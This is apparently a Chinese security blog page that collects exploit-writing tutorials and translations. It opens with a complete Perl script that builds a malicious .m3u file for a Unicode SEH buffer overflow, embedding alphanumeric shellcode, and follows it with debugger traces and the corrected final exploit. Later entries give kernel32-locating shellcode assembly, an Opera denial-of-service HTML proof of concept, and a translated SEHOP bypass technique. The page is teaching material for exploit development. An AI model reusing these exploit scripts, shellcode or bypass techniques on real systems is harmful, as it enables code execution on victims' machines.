    my $nops = "\x43\x6e" x 150; #nop/align
    my $shellcode="PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBKLyXRiYpIpYpOpTIyUmaWbrD2kpRNP4KNrLLbkNrJtRkqbLhJo6WnjKvLqkO01epfLOLaQCLjbLlKp91VoLMM1gWZBzPObpWRkObjpTKoRMlYqXPTKmp2XSUep2TNjIqHP0PDKPHKhTK1HKpKQvs9SoLniRkNTbkjaWfLqYomaupdluqfoJmyqUwnXwpPuZTysSMXxOKcMND3E9R0XDKOhLdKQJ3RF4KlLPKDKpXklM1Gc4KLDtKyqFpqyNdNDnDaKok0aPYpZ0Q9oK0NxooaJ4KlRZKRfaMOzkQtMauwI9pm0M0np0hnQdKROu7yoXUgKL0fUg2pVoxw6tU5muMyoxUoLjfsLlJQpKKwpRUKUWKQ7mC2R2OozypPSYoz5d3s8KPkZA";
    
    my $morestuff="D" x (5000-length($junk.$nseh.$seh.$preparestuff.$nops.$shellcode));
    $payload=$junk.$nseh.$seh.$preparestuff.$nops.$shellcode.$morestuff;
    
    open(myfile,'>exploit.m3u');
    print myfile $payload;
    close(myfile);
    

    但是shellcode被中断掉了:

     

    Code:
    eax=029bfe54 ebx=029bfd9f ecx=029bfe46 edx=029bedd0 esi=029bedbc edi=029bee04
        eip=029bfee4 esp=029bed2c ebp=029bfd54 iopl=0         ov up ei ng nz ac po nc
        cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000a92
        +0x29bfee3:
        029bfee4 6a00            push    0
        0:005> t
        eax=029bfe54 ebx=029bfd9f ecx=029bfe46 edx=029bedd0 esi=029bedbc edi=029bee04
        eip=029bfee6 esp=029bed28 ebp=029bfd54 iopl=0         ov up ei ng nz ac po nc
        cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000a92
        +0x29bfee5:
        029bfee6 58              pop     eax
    
        ……
    
        eax=00000000 ebx=029bfd9f ecx=029bff46 edx=029bff45 esi=029bedbc edi=029bee04
        eip=029bff80 esp=029bed2c ebp=029bfd54 iopl=0         nv up ei pl zr na pe nc
        cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
        +0x29bff7f:
        029bff80 830042          add     dword ptr [eax],42h  ds:0023:00000000=????????
    

    于是我就尝试着使用其它shellcode,但每次都因各种原因而导致shellcode被中断掉。就这样连续好几天都没有搞定,晚上正是作者给了我提示才注意到eax的问题,原话如下:

    Quote:
    In your debugger output, I see 

    eax=029bfe54
    eip = 029bfee4

    are you sure eax points exactly to the first byte of the shellcode ?

    然后我才发现原来我的eax是指向shellcode前面的nop了,而非shellcode的第一字节:

    Code:
    0:005> t
    eax=029bfe54
     ebx=029bfd54 ecx=7c92327a edx=029bedd0 esi=029bedbc edi=029bee04
    eip=029bfd78 esp=029bed2c ebp=029bfd54 iopl=0         nv up ei pl nz na pe cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
    +0x29bfd77:
    029bfd78 43              inc     ebx
    0:005> d 29bfe54
    029bfe54  43 00 6e 00
     43 00 6e 00-43 00 6e 00 43 00 6e 00  C.n.
    C.n.C.n.C.n.
    029bfe64  43 00 6e 00 43 00 6e 00-43 00 6e 00 43 00 6e 00  C.n.C.n.C.n.C.n.
    029bfe74  43 00 6e 00 43 00 6e 00-43 00 6e 00 43 00 6e 00  C.n.C.n.C.n.C.n.
    029bfe84  43 00 6e 00 43 00 6e 00-43 00 6e 00 43 00 6e 00  C.n.C.n.C.n.C.n.
    029bfe94  43 00 6e 00 43 00 6e 00-43 00 6e 00 43 00 6e 00  C.n.C.n.C.n.C.n.
    029bfea4  43 00 6e 00 43 00 6e 00-43 00 6e 00 43 00 6e 00  C.n.C.n.C.n.C.n.
    029bfeb4  43 00 6e 00 43 00 6e 00-43 00 6e 00 43 00 6e 00  C.n.C.n.C.n.C.n.
    029bfec4  43 00 6e 00 43 00 6e 00-43 00 6e 00 43 00 6e 00  C.n.C.n.C.n.C.n.
    

    最后经过调试发现,第一个43 00 6e 00出现在0x029bfd78,而此时eax指向029bfe54(这里必须为 shellcode的第一字节),因此shellcode前面的字节数应为0x029bfe54 - 0x029bfd78 = 0xDC,而\x43 \x6e经unicode转换后为4字节,因此再除以4得到0x37(55),最后构造出脚本:

    Code:
    my $junk = "A" x 270;
    my $nseh = "\x61\x62";
    my $seh = "\x15\x45" ;
    
    my $preparestuff="D"; #we need the first D
    $preparestuff=$preparestuff."\x6e"; #nop/align
    $preparestuff=$preparestuff."\x55"; #push ebp
    $preparestuff=$preparestuff."\x6e"; #nop/align
    $preparestuff=$preparestuff."\x58"; #pop eax
    $preparestuff=$preparestuff."\x6e"; #pop/align
    $preparestuff=$preparestuff."\x05\x14\x11"; #add eax,0x11001400
    $preparestuff=$preparestuff."\x6e"; #pop/align
    $preparestuff=$preparestuff."\x2d\x13\x11"; #sub eax,0x11001300
    $preparestuff=$preparestuff."\x6e"; #pop/align
    
    my $nops = "\x43\x6e" x 55; #nop/align, 55个nop刚好使eax指向shellcode的第一字节
    
    my $shellcode="PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBKLyXRiYpIpYpOpTIyUmaWbrD2kpRNP4KNrLLbkNrJtRkqbLhJo6WnjKvLqkO01epfLOLaQCLjbLlKp91VoLMM1gWZBzPObpWRkObjpTKoRMlYqXPTKmp2XSUep2TNjIqHP0PDKPHKhTK1HKpKQvs9SoLniRkNTbkjaWfLqYomaupdluqfoJmyqUwnXwpPuZTysSMXxOKcMND3E9R0XDKOhLdKQJ3RF4KlLPKDKpXklM1Gc4KLDtKyqFpqyNdNDnDaKok0aPYpZ0Q9oK0NxooaJ4KlRZKRfaMOzkQtMauwI9pm0M0np0hnQdKROu7yoXUgKL0fUg2pVoxw6tU5muMyoxUoLjfsLlJQpKKwpRUKUWKQ7mC2R2OozypPSYoz5d3s8KPkZA"; my $morestuff="D" x (5000-length($junk.$nseh.$seh.$preparestuff.$nops.$shellcode)); $payload=$junk.$nseh.$seh.$preparestuff.$nops.$shellcode.$morestuff; open(myfile,'>exploit.m3u'); print myfile $payload; close(myfile);

    测试结果:
     

  • 下载地址:

    http://bbs.pediy.com/showthread.php?p=859942#post859942

  • 利用WPN与ROP绕过DEP保护机制

    日期:2010-08-27 | 分类:软件漏洞

    作者:Sud0
    译者:riusksk (泉哥:http://riusksk.blogbus.com)

    前言
    对于本教程,假设读者具备以下条件:
    1. 在电脑拥有各项所需工具的实验环境;
    2. 具备编写栈溢出利用程序的基础;
    3. 掌握SEH概念及利用SEH编写exploit的基础知识。

    基础概念
    DEP(Data Execution Prevention):防止一些内存位置执行代码的一种保护机制,特别是堆栈,因此在windows中利用栈返回技术攻击溢出的方法已不再适用了。
    ROP(Return Oriented Programming):连续调用程序代码本身的内存地址,以逐步地创建一连串欲执行的指令序列。
    WPM(Write Process Memory):利用微软在kernel32.dll中定义的函数比如:WriteProcess Memory函数可将数据写入到指定进程的内存中。但整个内存区域必须是可访问的,否则将操作失败。函数原型:
    WriteProcessMemory: procedure
    (
      hProcess: dword;
      // Handle to the process whose memory is to be modified
      var lpBaseAddress: var;
      // Pointer to the base address in the specified process to which data will be written
      var lpBuffer: var;
      // Pointer to the buffer that contains data to be written into the address space of the specified process
      nSize: dword;
      // Specifies the requested number of bytes to write into the specified process
      var lpNumberOfBytesWritten: dword
      // Pointer to a variable that receives the number of bytes transferred.
    );

    目标
    我们的目标是利用ROP技术来调用WPM,以便将shellcode写入地址0x7C8022CF,这样当从ntdll.ZwWriteVirtualMemory函数中返回时可正确地执行shellcode。
    ……
    具体内容参见附件:

    下载地址:http://bbs.pediy.com/attachment.php?attachmentid=46937&d=1282892915

  • 在Abysssec 安全组织主页上看到的一篇文章,是讲述关于windows平台下的缓冲区溢出简史,针对win2k~win7等各版本的操作系统的溢出保护进行讲述,同时也讲述各种绕过方式,并给出相关论文的网址以及相关人物的照片及介绍,一部关于黑客与微软在windows系统上战斗史!本篇主要分为以下三部分:

    • part I   :brief history of buffer overflow
    • part II  : history of windows exploitation from windows 2000 to windows 7
    • part III :feature of exploitation

    http://www.abysssec.com/blog/2010/05/past-present-future-of-windows-exploitation/

  • 本系列教程很久没更新了,拖了半年之久才再翻译,原作者在此期间又写了8,9,10三篇文章。
    刚好这几天在家休息,就把这教程拿出来翻译了,拖太久了有点对不住大伙了。至于其它篇文章,还得等有空才能继续翻译,如果有哪位兄弟愿意帮忙,寻当然再好不过,呵呵……

    下载地址:

    http://bbs.pediy.com/showthread.php?t=115702

  • 在以往的windows版本中,用于定位kernel32基址的方法:通过fs:段寄存器找到TEB(线程环 境块),接着在其偏移0x30的位置找到PEB(进程环境块),再通过PEB定位到PEB_LDR_DATA结构,该结构指向被加载的模块信息列表,最后 通过此列表定位出kernel32.dll的基址。对应的代码如下:

        XOR     ECX, ECX                    ; ECX = 0
    MOV ESI, [FS:ECX + 0x30] ; ESI = &(PEB) ([FS:0x30])
    MOV ESI, [ESI + 0x0C] ; ESI = PEB->Ldr
    MOV ESI, [ESI + 0x1C] ; ESI = PEB->Ldr.InInitOrder (ntdll.dll)
    LODSD ; EAX = PEB->Ldr.InInitOrder.flink (kernel32.dll)
    MOV EBP, [EAX + 0x08] ; EBP = PEB->Ldr.InInitOrder.flink.base_address

    具体也可参考下面这结构图:


    但是在windows7平台下,kernel32.dll模块已不属于第二个模块,而是第三个,见下分析:

    0:000> !peb

    PEB at 7ffd8000

        InheritedAddressSpace:    No

        ReadImageFileExecOptions: No

        BeingDebugged:            Yes

        ImageBaseAddress:         002f0000

        Ldr                       772b7880

        Ldr.Initialized:          Yes

        Ldr.InInitializationOrderModuleList: 006f2068 . 006f34c8

        Ldr.InLoadOrderModuleList:           006f1fc8 . 006f38f8

        Ldr.InMemoryOrderModuleList:         006f1fd0 . 006f3900

                Base TimeStamp                     Module

              2f0000 49a5f6b3 Feb 26 09:56:03 2009 C:\Program Files\Debugging Tools for Windows (x86)\kill.exe

            771e0000 4a5bdadb Jul 14 09:09:47 2009 C:\Windows\SYSTEM32\ntdll.dll

            757c0000 4b1e3897 Dec 08 19:29:27 2009 C:\Windows\system32\kernel32.dll

            75500000 4a5bdaae Jul 14 09:09:02 2009 C:\Windows\system32\KERNELBASE.dll

            75630000 4a5bda6f Jul 14 09:07:59 2009 C:\Windows\system32\msvcrt.dll

            758b0000 4a5bd97e Jul 14 09:03:58 2009 C:\Windows\system32\ADVAPI32.dll

            76fc0000 4a5bdb04 Jul 14 09:10:28 2009 C:\Windows\SYSTEM32\sechost.dll

            76850000 4a5bdade Jul 14 09:09:50 2009 C:\Windows\system32\RPCRT4.dll

            77320000 4a5bdb2f Jul 14 09:11:11 2009 C:\Windows\system32\USER32.dll

            76900000 4a5bd9dd Jul 14 09:05:33 2009 C:\Windows\system32\GDI32.dll

            756e0000 4a5bda19 Jul 14 09:06:33 2009 C:\Windows\system32\LPK.dll

            75980000 4a5bdb32 Jul 14 09:11:14 2009 C:\Windows\system32\USP10.dll

                  ……

    查看Ldr.InInitializationOrderModuleList:

    0:000> dd 006f2068

    006f2068  006f24a8 772b789c 771e0000 00000000         // ntdll.dll

    006f2078  0013c000 003c003a 006f1f28 00140012

    006f2088  7724d4cc 00004004 0000ffff 772ba680

    006f2098  772ba680 4a5bdadb 00000000 00000000

    查看下一模块入口:

    0:000> dd 006f24a8

    006f24a8  006f2390 006f2068 75500000 75507a9d          // KERNELBASE.dll,已经不再是kernel32.dll

    006f24b8  0004a000 00460044 006f2438 001e001c

    006f24c8  006f2460 00084004 0000ffff 772ba690

    006f24d8  772ba690 4a5bdaae 00000000 00000000

    再查看下一模块入口:

    0:000> dd 006f2390

    006f2390  006f2dc8 006f24a8 757c0000 758110e5          // kernel32.dll,已经成为第三个模块了

    006f23a0  000d4000 00420040 006f2320 001a0018

    006f23b0  006f2348 00084004 0000ffff 772ba640

    006f23c0  772ba640 4b1e3897 00000000 00000000

    为了解决以上关于kernel32.dll基址定位的问题,我们可通过上述方法遍 历"InInitializationOrder"列表,以检测模块名字符串"kernel32.dll"中第13位(即第25字节)是否为空字符/0, 以此找到kernel32.dll的基址。具体代码如下:

        XOR     ECX, ECX                    ; ECX = 0
    MOV ESI, [FS:ECX + 0x30] ; ESI = &(PEB) ([FS:0x30])
    MOV ESI, [ESI + 0x0C] ; ESI = PEB->Ldr
    MOV ESI, [ESI + 0x1C] ; ESI = PEB->Ldr.InInitOrder
    next_module:
    MOV EBP, [ESI + 0x08] ; EBP = InInitOrder[X].base_address
    MOV EDI, [ESI + 0x20] ; EBP = InInitOrder[X].module_name (unicode)
    MOV ESI, [ESI] ; ESI = InInitOrder[X].flink (next module)
    CMP [EDI + 12*2], CL ; modulename[12] == 0 ?
    JNE next_module ; No: try next module.
  • Opera 10.10远程拒绝服务漏洞

    日期:2010-02-06 | 分类:软件漏洞

    公告:

    http://www.exploit-db.com/exploits/11332

     

    测试代码:

      1. <html>
      2. <script>
      3. var buf = 'A';
      4. while (buf.length <= 4444444) buf+=buf;
      5. alert(buf)
      6. </script>
      7. </html>

    测试结果:


     

  • 【翻译】绕过SEHOP安全机制

    日期:2010-01-20 | 分类:软件漏洞

    作者:Stéfan Le Berre (s.leberre@sysdream.com)
        Damien Cauquil (d.cauquil@sysdream.com)
    译者:riusksk (泉哥:http://riusksk.blogbus.com)
    时间:2010年1月7日

    目录
    0.  前言
    1.  SEHOP简介
    2.  溢出攻击中的SEHOP对抗策略
       2.1经典的溢出方法
       2.2 微妙之处
    3. Proof Of Concept
      3.1 目标程序与限制条件
      3.2 程序崩溃与利用
    4. 结论
    5. 鸣谢
    6. 参考资料

    0.  前言
    最近微软在一些windows版本中加入了一种新的安全机制——《Structured Exception Handling Overwrite Protection 》[1 & 2],这些系统有:

    • Microsoft Windows 2008 SP0
    • Microsoft Windows Vista SP1
    • Microsoft Windows 7

    目前我们尚未发现任何针对这一安全机制而采取的攻击,但已有少量文章已描述了它的特性及健壮性。的确,SEHOP似乎相当可靠,以致Microsoft发 布了一款补丁,以使所有程序在缺省状态下启用这一安全机制。这是否会成为堆栈溢出攻击的未日呢?还没有,详细情况将在后面叙述。

    1.  SEHOP简介
    SEHOP作为Structured Exception Handling的扩展,用于针对程序中使用的SHE结构进行一些安全检测。SEHOP的核心 特性是用于检测程序栈中的所有SHE结构链表,特别是最后一个SHE结构,它拥有一个特殊的异常处理函数指针,指向一个位于ntdll中的函数。下面就是 一个经典的SHE链表:
     名称:  1.jpg
查看次数: 122
文件大小:  12.1 KB
    每一SHE结构均拥有指向下一个SHE结构的指针,后面再连接一个指向ntdll!_except_handler4的异常处理函数指针。在通过覆盖 SHE结构的栈溢出中,next SHE指针被一些字节码覆盖,而SHE handler被一个指向pop pop ret指令串的地址覆盖掉,该指令串 位于一个non-SafeSEH模块中。
    这种使用SEHOP的验证算法首次被A. Sotirov在Black Hat 2008大会上批露[3]。下面我们来看一下:

    BOOL RtlIsValidHandler(handler)
    {
      if (handler is in an image) {
        if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)
          return FALSE;
        if (image has a SafeSEH table)
        if (handler found in the table)
          return TRUE;
        else
          return FALSE;
        if (image is a .NET assembly with the ILonly flag set)
          return FALSE;
        // fall through
      }
      if (handler is on a non-executable page) {
        if (ExecuteDispatchEnable bit set in the process flags)
          return TRUE;
        else
        // enforce DEP even if we have no hardware NX
        raise ACCESS_VIOLATION;
      }
      if (handler is not in an image) {
        if (ImageDispatchEnable bit set in the process flags)
          return TRUE;
        else
          return FALSE// don't allow handlers outside of images
      }
    // everything else is allowed
    return TRUE;
    }
    [...]
    // Skip the chain validation if the
    DisableExceptionChainValidation bit is set
    if (process_flags & 0x40 == 0) {
      // Skip the validation if there are no SEH records on the
      // linked list
      if (record != 0xFFFFFFFF) {
        // Walk the SEH linked list
        do {
          // The record must be on the stack
          if (record < stack_bottom || record > stack_top)
            goto corruption;
          // The end of the record must be on the stack
          if ((char*)record + sizeof(EXCEPTION_REGISTRATION) > stack_top)
            goto corruption;
          // The record must be 4 byte aligned
          if ((record & 3) != 0)
            goto corruption;
          handler = record->handler;
          // The handler must not be on the stack
          if (handler >= stack_bottom && handler < stack_top)
            goto corruption;
          record = record->next;
        } while (record != 0xFFFFFFFF);
        // End of chain reached
        // Is bit 9 set in the TEB->SameTebFlags field?
        // This bit is set in ntdll!RtlInitializeExceptionChain,
        // which registers FinalExceptionHandler as an SEH handler
        // when a new thread starts.
        if ((TEB->word_at_offset_0xFCA & 0x200) != 0) {
          // The final handler must be ntdll!FinalExceptionHandler
          if (handler != &FinalExceptionHandler)
            goto corruption;
        }
      }
    }

    下面我们来考虑一些限制:
    • SHE handler必须指向non-SafeSEH module
    • 内存页必须可执行
    • SHE链表不应被篡改,并且位于链表末端的SHE结构必须为特定值(next SHE指针值为0xFFFFFFFF,SHE handler也必须为一特定值)
    • 所有的SHE结构必须为4-byte对齐
    • 最后一个SHE结构的handler必须正确指向ntdll中的ntdll!FinalExceptionHandler例程
    • 所有SHE指针必须指向栈中

    2.  溢出攻击中的SEHOP对抗策略
    2.1 经典的溢出方法
    下面是覆盖SHE结构的经典溢出方法的结构图:
     名称:  2.jpg
查看次数: 122
文件大小:  10.1 KB
    SHE handler指向POP POP RET指令串,next SHE中的栈地址被jmp 06 nop nop(机器 码:EB 06 90 90)替换掉。当处理一个程序异常时,Windows将控制权传给SHE链表中的异常处理程序。当第一个异常处理函数被覆盖掉后, 程序的执行流程重定向到POP POP RET指令串中(代替真实的异常处理函数)。该指令串将执行到当前SHE结构中next SHE的前两个字节 (jmp 06),以此直接跳转到我们的shellcode。这样,SHE链表就被拆分了:
     名称:  3.jpg
查看次数: 122
文件大小:  15.5 KB
    SHE结构中的next SEH的前两字节(90 90)从不被执行,它主要是用于填充字符,以构造出一个DWORD大小的有效栈地址。当然,我们也可以 改变另外的两字节来使其指向一个有效栈地址,而将这两字节改为跳转指令(EB 06)。这一DWORD值当被调用时,它相当于一个有效的栈地址与一个有效 指令的结合以实现跳转。如果我们伪造SHE结构中的这一DWORD值指向的栈地址,那么我们就可伪造整个SHE链表,并控制下一个SHE结构以使此链表有 效。

    2.2 微妙之处
    还有一个问题:哪一被编码的跳转指令可以代替4字节对齐地址?只有一指令与其相配:JE(机器码为0x74),该指令是一条件跳转:只有当Z标志被设置时 才实现跳转。在Windows在处理异常时,Z标志是默认关闭的,我们必须通过执行一指令来计算出零值,以设置该标志位。Xor指令似乎是不错的选择,看 来我们的解决方法已经很明了了:跳至XOR,POP,POP,RET指令串,以便将JE指令解释为JMP。这就是SEHOP绕过技术的微妙之处。
    XOR,POP,POP,RET指令串并不难找到,我们可以通过查找返回NULL值的函数的末端来找到这些指令串:
    XOR EAX, EAX
    POP ESI
    POP EBP
    RET
    为了确保该方案可行,我们就以XOR,POP,POP,RET指令串来编写一份PoC测试一下。
    已知第一个SEH结构位于0x0022FD48,我们就可以在0x0022FD74处构造第二个SHE结构,它的next SHE指针值为 0xFFFFFFFF,handler指向ntdll!FinalExceptHandler。如果我们将第一个SHE结构中的handler指向 XOR,POP,POP,RET指令串,那么我们就可以将执行流程重定向到任何地方,真正地破坏掉SHE链表。具体地,我们可以重新伪造一个有效的SHE 链表,以使其重定向到特定的shellcode。
      另一个主要限制是Microsoft Windows 7和vista中的ASLR安全机制。我们知道程序的利用需要依赖于 ntdll!FinalExceptHandler的地址,但这一地址在每次电脑重启后都会发生改变。Ntdll ImageBase在重启时都被随机 化,这样就增加攻击的难度。我们针对ASLR(未经逆向分析)进行一些测试,结果表明ImageBase似乎在16位中只有9位发生随机化,也就是说,在 超过512次机会中你只有一次机会可以成功地绕过SEHOP实现溢出攻击。

    3. Proof Of Concept
      3.1 目标程序与限制条件
    我们编写一段小程序,以在Windows 7下演示这一技术。这一程序只是复制一个文件(OwnMe.txt)的内容到内存中,并在操作中实现栈溢出,以引发可被异常处理程序捕获的异常。
    我们需要完成以下任务:
    • 伪造一个有效的SEH链表
    • 将最后一个SEH结构中的handler指向ntdll!FinalExceptHandler
    • 在栈中放置shellcode(与Windows 7相兼容)
    • 定位内存中的XOR,POP,POP,RET指令串地址
    首先,XOR,POP,POP,RET指令串是已知的,因为我们已经将其放置在程序代码中了,我们可以发现该指令串位于内存地址0x004018E1中。
      3.2 程序崩溃与利用
    当程序崩溃时,可发现:
       0012F700 41414141 Pointer to next SEH record
       0012F704 41414141 SE handler
    接着我们需要利用存储在0x0012F774中的第二个SEH结构来伪造SEH链表,这一SEH结构中next SEH指针值为 0xFFFFFFFF,SHE handler指向ntdll!FinalExceptHandler。然后位于0x0012F700的SEH结构被篡 改,使其指向仿造的SHE结构,并将handler设置为0x004018E1,同时在每一SHE结构之前写入一跳转指令(JMP+8),以避免数据段被 执行。整个利用的工作流程如下图所示:
     名称:  4 .jpg
查看次数: 123
文件大小:  49.7 KB
    Shellcode将执行calc.exe:
     名称:  5.jpg
查看次数: 123
文件大小:  27.8 KB
    注意:目标程序及exploit均已打包成zip文件,可在Sysdream网站上[4]下载到。

    4. 结论
    SEHOP并不是对抗栈溢出的终极防护。自从SafeSEH扩展被公布之后,很多人认为它是不可突破的。这里我们只是演示了在一些情况下 Structured Exception Handling Overwrite Protection是可能绕过的。但SEHOP结合ASLR和 DEP使用,是一种优秀的本地安全机制,这点是不可否认的。

    5. 鸣谢
    http://sysdream.com/
    http://ghostsinthestack.org/
    http://virtualabs.fr/

    6. 参考资料
    [1] Preventing the Exploitation of Structured Exception Handler (SEH) Overwrites with SEHOP:
    http://blogs.technet.com/srd/archive/2009/02/02/preventing-the-exploitation-of-seh-overwriteswith-
    sehop.aspx
    [2] SEHOP per-process opt-in support in Windows 7:
    http://blogs.technet.com/srd/archive/2009/11/20/sehop-per-process-opt-in-support-in-windows-
    7.aspx
    [3] Bypassing Browser Memory Protections: http://taossa.com/archive/bh08sotirovdowd.pdf
    [4] ZIP containing our target program & exploit http://www.sysdream.com/SEHOP.zip

  • 【标题】:Exploit 编写系列教程第四篇:编写Metasploit exploit
    【作者】:Peter Van Eeckhoutte
    【译者】:riusksk(泉哥:http://riusksk.blogbus.com)

    在exploit编写系列教程第一篇中,笔者已经讲述了两种对于常见漏洞的利用方式:栈溢出(覆盖EIP)与利用SHE链表进行栈溢出。在列出的例子中,笔者已经利用perl脚本去演示如何构造一个可行的exploit。
    显然,编写exploit不应局制于perl语言上。笔者猜想:每种编程语言都可以用于编写exploit ……因此你可以挑选自己最为熟悉的一种语言来 编写exploit(比如python,c,c++,c#等等)。尽管自己编写出来的exploit将勉强可行,但如果可以将其列入自己的 Metasploit Framework中可能会更好,因为这样就可以利用到Metasploit的一些独特功能
    ……
    ……
    ……

    下载:

    http://bbs.pediy.com/showthread.php?t=101887